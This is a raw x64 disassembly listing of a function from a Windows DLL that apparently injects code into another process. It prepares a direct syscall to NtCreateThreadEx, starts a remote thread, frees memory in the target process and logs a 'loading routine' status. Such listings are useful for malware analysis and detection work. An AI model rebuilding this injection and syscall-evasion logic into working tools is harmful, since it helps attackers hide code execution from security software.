mov qword [rsp + 0x118], rax
cmp qword [rsp + 0x118], 0
jne 0x1800066ee
lea rdx, str.____Failed_to_prepare_syscall_for_NtCreThr.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xd8], 0xfffffffe
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xd8]
jmp 0x180006887
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x248]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x370]
xor r8d, r8d
mov edx, 0x20000000
lea rcx, [rsp + 0x270]
call qword [rsp + 0x118]
mov dword [rsp + 0x60], eax
lea rdx, str.___NtCreThr_result:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
mov edx, dword [rsp + 0x60]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [rsp + 0x270], 0
jne 0x180006851
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x248]
mov rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x370]
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call fcn.180003f60
movzx eax, al
test eax, eax
je 0x1800067ff
lea rdx, str.___Cleaned_up_handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x180006822
lea rdx, str.____Failed_to_clean_up__handler.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.180009370
lea rdx, [0x1800096f0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xdc], 0
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov eax, dword [rsp + 0xdc]
jmp 0x180006887
lea rcx, str.___Loading_routine_successfully_n
call fcn.180001080
mov rcx, qword [rsp + 0x270]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rcx, qword [rsp + 0x378]
call fcn.1800020d0
nop
mov rcx, qword [rsp + 0x388]
call fcn.1800020d0
mov rcx, qword [rsp + 0x340]
xor rcx, rsp
call fcn.18000ac70
add rsp, 0x358
pop rdi
pop rsi
ret